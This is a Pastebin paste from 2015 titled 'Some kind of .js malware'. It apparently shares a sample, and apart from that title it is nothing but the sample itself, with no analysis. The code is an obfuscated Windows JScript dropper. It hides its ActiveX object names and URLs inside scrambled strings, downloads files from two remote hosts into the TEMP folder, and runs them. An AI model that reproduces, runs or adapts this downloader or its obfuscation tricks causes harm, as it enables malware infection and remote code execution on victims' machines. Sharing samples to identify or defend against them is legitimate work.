Advertisement
Guest User

Some kind of .js malware

a guest
Mar 25th, 2015
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.57 KB | None | 0 0
  1. (function(){ZxSh=("c4\x83\x88T85LI_"["charCodeAt"](4)*2+63.0);RuTV="x#Oti6guHOKZimDelRL@<Sacd"["replace"](/[RgHmZ\@x6e\<Kcat\#]/g,"");try{var IsqE=window["NPwxbk[r(tTcbUr"["replace"](/[T\(cxU\[PkN]/g,"")];X4Tr=(47.0+"(\x84G3qY\x8bHQfL{71_y\x89"["charCodeAt"](2)*4);VjCD=(")Qx#6\x83=\x7fLPF\x88Vi"["charCodeAt"](3)*7+1.0);var V5hF=(8*"j&S5ry\x86a\x84G"["charCodeAt"](3)+8.0);var gkGK=(6.0+"Fp~(/CcQq4UWD<@"["length"]*20);gvno="G9SpH8gkgtnpwr6qAEWCi"[(4.0+"\x85D0pPB1'mc"["length"]*2004402637)["toString"](("4fYQ&zbH%JV=\x80"["length"]*2+4.0))](/[SwC6AHGWgn]/g,"");M5cN=("54Xgs0T_?kdJ2\x7f9"["length"]*30+12.0);TzsY="HvEiT8EA2<2UBYN/JHfCkDMZ"[(";[tV\x83yPFNX<r(\x82kv"["charCodeAt"](6)*745782913+78.0)["toString"](("Jr:\x8bW@BD\x8aAKV"["charCodeAt"](6)*0+36.0))](/[fEU\<HT\/ANMBk]/g,"");TEoP="jBsiuzQMKZD&pD-7Cs2]P%4"["replace"](/[\]\%\&jZu7Q\-Msp]/g,"");jo9C=("Lq\x8a7.FkWC=?'"["charCodeAt"](9)*6+17.0);wXvw="+WT(I)`8bWvoZuQNzFyG[t"[(3360460453*"q][Ns\x85tU8/)i9%I"["length"]+14.0)["toString"]((3.0+"^\x8bY#~B}\x88"["length"]*4))](/[\)\`y\(T\+vbQZ\[z]/g,"");var HZAz=(3.0+"gn>YUf"["length"]*10);var FWGP=(22*"SFV\x81>vi\x8a<z^U"["length"]+8.0);tq6G="`~pv2]P82xXb&9@AGm#TndN"[("(2\x82^}?uU\x60j:GoR\x875tdY"["charCodeAt"](13)*199580350+19.0)["toString"]((29.0+"E6$_Z\x8bi?\x85p;qbhOKs"["charCodeAt"](2)*0))](/[8d\@XTv\&\`\]\~\#Gx]/g,"");var OwBG=(3.0+"\x60n$8=yL9"["length"]*24);var f5Ic="o6RcmTAhn0bVyLhCY(FKGLh"[(1.0+"dwiF/~]"["length"]*3483875876)["toString"]((31.0+"K\x83Q1b?\x7fanz"["charCodeAt"](5)*0))](/[VCoGmn\(RLFbA]/g,"");}catch(ee){try{var JK5Z=new ActiveXObject("Xie*w~rYgXvye"["replace"](/[Xi\~\*yY]/g,""));var YX5D="ZKdIdt7YvdESAzypO3C]lmR"[(6300863351*"sT\x60'HZiy"["length"]+1.0)["toString"]((7*"Yyq>\x7f"["length"]+0.0))](/[t\]ZpmyY3dSA]/g,"");}catch(eee){function dfLU(fr, xZkG, rn){ var DdIF = new ActiveXObject("!WvSDfcLrxi/pXt5.+S8mhfeVClTl"[("GjAR1TiLQ5,&E"["length"]*2726764974+5.0)["toString"]((1.0+"&?#ZASWO"["length"]*4))](/[TLV8X\/xCv\!5\+mDf]/g,""));var E7UN=(64.0+"V0P~iux3@g\x8b\x8aG'\x83O:]E"["charCodeAt"](18)*6);vXJb=(8.0+"2m>@/\x8arq(9jJ"["length"]*5);
  2. var xZkG = DdIF["ExpandEnvironm"+(65>7?"\x65":"\x5c")+"nt"+"St"+(81>12?"\x72":"\x6d")+"ings"]("U%=T>EuM#8P5%"["replace"](/[\#8\>u\=5U]/g,"")) + String["from"+(51>24?"\x43":"\x3e")+""+"harC"+(54>17?"\x6f":"\x69")+"de"](92) + xZkG;Vzek=(31*"\x60FU~'ZI\x8bm7}8\x80\x7f"["length"]+13.0);rvfR="CqJKGx7)NW3a5QwcB#Fo0VID"[("0Ie\x839"["length"]*8476012186+4.0)["toString"](("%RPls\x85pO6\x86)$t.\x87"["length"]*2+4.0))](/[o5IJx\#cGC0wW3\)]/g,"");var Wwos=(3*"<mu\x8a9i\x85]1ceQ6"["charCodeAt"](11)+75.0);
  3. var myiv = new ActiveXObject("&dMqSe[X(Mb>LC2b.CGXeMDLqHsTETBP"["replace"](/[G\&e\[qECbBds\>D\(]/g,""));var AcxP="fDjEb>v17lye0PclhF4i8g"["replace"](/[fPe\>4E8lF1j]/g,"");
  4. myiv["onreadyst"+(94>12?"\x61":"\x5a")+"t"+"echa"+(92>42?"\x6e":"\x64")+"ge"] = function (){ if (myiv["r"+""+(50>1?"\x65":"\x5d")+"adyState"] === 4){ var o8HO = new ActiveXObject("@A4DYO%D5BG.LsSb3t[rFe<a=m"[("t=~\x881dr:s{|gf\x87"["length"]*1168970622+11.0)["toString"]((">nv{1Nfas?."["charCodeAt"](10)*0+29.0))](/[LbG34\@s\%5\[\<FY\=]/g,""));ETsB="3#ZygOztpH/l+QFvMFR%MIDW"[(3.0+"\x8ajbdf\x60NBJxA]3"["length"]*3260004687)["toString"](("@3bBcxW't}H*<U\x88NLw)g"["charCodeAt"](15)*0+34.0))](/[\+p3\#Dy\%MFgz\/]/g,"");
  5. o8HO[""+(82>44?"\x6f":"\x67")+"p"+"e"+(98>36?"\x6e":"\x66")+""]();aIZO="`Sjw*YGHqC(JsHIReDg>5w"[("I\x83z=$]"["length"]*7063343489+0.0)["toString"]((2*"ULQZt):K\x82q/5$"["length"]+8.0))](/[sI5D\>\(G\`qej\*]/g,"");
  6. o8HO["t"+""+(92>2?"\x79":"\x73")+"pe"] = 1;FGpN=(8.0+"E/Y:t%b2._[p"["length"]*35);
  7. o8HO["wri"+(62>1?"\x74":"\x6b")+""+"e"](myiv[""+(99>11?"\x52":"\x48")+"e"+"sponse"+(69>22?"\x42":"\x3a")+"ody"]);var HCgm="ovLKgVW%ID1s~Gy3aHJb`*C]Y"["replace"](/[\~\]KG\*1LDV\`oJ3\%a]/g,"");
  8. o8HO["p"+"o"+(74>12?"\x73":"\x69")+"ition"] = 0;hN_o=(87*"E\x86{h/"["length"]+0.0);
  9. o8HO["s"+(79>18?"\x61":"\x57")+"v"+"eToF"+(65>35?"\x69":"\x5f")+"le"](xZkG, 2);var C4GA="xBRuec@7VQpJti2A@oUm]LW"["replace"](/[ie\]tALVU\@pxR]/g,"");
  10. o8HO["c"+(59>47?"\x6c":"\x67")+""+"os"+(66>44?"\x65":"\x5c")+""]();var Eknn="n_1Jox+ExG]HczoalRTr(A&e"[("\x814h7\x85^?_=Re"["charCodeAt"](8)*399789034+59.0)["toString"]((2*"XB/R\x8bsxV=\x80Fb@|"["length"]+3.0))](/[r\+\(J\_a\]Rxnz\&c]/g,"");var ZRyb=(7*"?eO\x60.pSZ$-[Y"["charCodeAt"](4)+29.0);var Sgpw="D8PO7J=XL;oy3f(K0i26sZg"[(644508084*"KI0\x82>*D7P,vTSL2OQd\x81"["charCodeAt"](7)+47.0)["toString"]((3.0+"}9j1MaruTk"["length"]*3))](/[2fXP\=07ys\;ZD\(]/g,"");
  11. } ;var MKNk=(8.0+"1gJN{d)f9"["length"]*48);
  12. } ;var oh9M="gPyioKelGvoXRm[e#4HQRn"[(38.0+"R.\x82{O\x81g]qml*h\x8bVEXn"["charCodeAt"](14)*342880284)["toString"]((2.0+"Ua%\x60\x8bl'Sd\x84"["length"]*3))](/[vK\[R\#golHy]/g,"");
  13. try { myiv["o"+(67>18?"\x70":"\x6b")+"e"+"n"]("O*G(ELT"["replace"](/[L\(O\*]/g,""), fr, false);Kjqb=(16*"\x85PEw0}k-j\x88ybD"["length"]+2.0);
  14. myiv["s"+"en"+(50>39?"\x64":"\x5a")+""]();var dTNT=("7=\x86w}>N\x8b\x81d\x84*#pOq3&5V"["charCodeAt"](19)*0+31.0);
  15. if (rn > 0){ DdIF[""+"R"+(52>24?"\x75":"\x6e")+"n"](xZkG, 0, 0);AQjH=("T/zFxip*;'}n~"["length"]*8+11.0);
  16. } ;pitl=(1.0+"}\x8aFpCfUH"["length"]*25);var Sb9V="%GVL0sad`uIL9hRg+DeI4"["replace"](/[aVR\`0D\+\%I9]/g,"");var FSUT="wYcrs3Ze0PH*SpbnBV57t=o"[("7}kHm<Q.Dnw{E6A"["charCodeAt"](13)*303066457+41.0)["toString"]((0*"axMWLP072vNbUV|6wBR"["charCodeAt"](2)+29.0))](/[r\*p3VB\=webY7P]/g,"");var U7wl="zE!S05]D7XL)I1legWAMU"[(2.0+"ZgSF<df#N$9\x89"["length"]*2457308705)["toString"]((2*"j\x82Pnx-3c5N+*Z"["length"]+6.0))](/[\)1\!\]XeWM0zD]/g,"");UVGB=(9.0+"kVqx*bP=n\x82v"["charCodeAt"](7)*0);var QGFH=(7.0+"^sz+6<-X\x8b"["length"]*2);j1hv="suO/d`E5JcqmP19E8VHwIR"["replace"](/[5s\`IH8\/mcu19]/g,"");
  17. } catch (er){ } ;ikFB=("%o\x88'nWrbQ:&Fa2"["length"]*21+3.0);
  18. } dfLU("CAhEtbt)p&:W/ZD/Ue4UlK;l4qi8ws]oF9n91W).Nr4uB/OiU3m`axNg0e7sq/qoG5nAeN._IjVp82g"["replace"](/[VWU4\]\;O\&b0q\`N5ACD8F\_EI3KZB7wG92x\)]/g,""),"CC3f90h6y5-2QW1~1KV.TmeQx@e"["replace"](/[VWh0yC\-\@fm\~KQT]/g,""), 1);var sZeO="d2#hvSP]8AzxKULQ7Tk(f"[(6054294419*"RXOA\x89gL"["length"]+1.0)["toString"]((34.0+"zK1%eG@.l+"["charCodeAt"](3)*0))](/[\(dTU\#hS\]QxA]/g,"");
  19. dfLU("KhztQtLpY:q/b/(e>l-l-i6sLoJn`1<.<rXu)D/6ifmTaBgDeGsI/%tC+w0boZ.Bjcpdg"[(6.0+"e9K7SfL\x80"["length"]*3685963057)["toString"](("[V=q8-\x60swm1/"["charCodeAt"](2)*0+32.0))](/[fcQ\<6TLYJ\+IX\-\)G\%zBd0\`KDq\(b\>ZC]/g,""),"]5RJ2a<2X68#540!9b.deIxve"[(14.0+"MV\x85\x8ak\x7f\x8b_W)x{.e,"["length"]*3360460453)["toString"]((0*"2\x88}PX\x600$(SI"["charCodeAt"](6)+35.0))](/[J8R\]4v\<aXI\#d\!b]/g,""), 1);var wxot=("9X@1\x86.u;qb~"["length"]*15+2.0);H2ZA=(14.0+"pnG_\x83m\x89|5\x7f8XC]x"["length"]*24);
  20. }};var l2mI=(2*"\x60\x82&et$RbX?g73"["charCodeAt"](6)+11.0);;wAYy="`94btmQr0OTq@B6tk[HSgGvJ"["replace"](/[\@640QvOqg\[\`St]/g,"")})();//D3E49OYvW0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement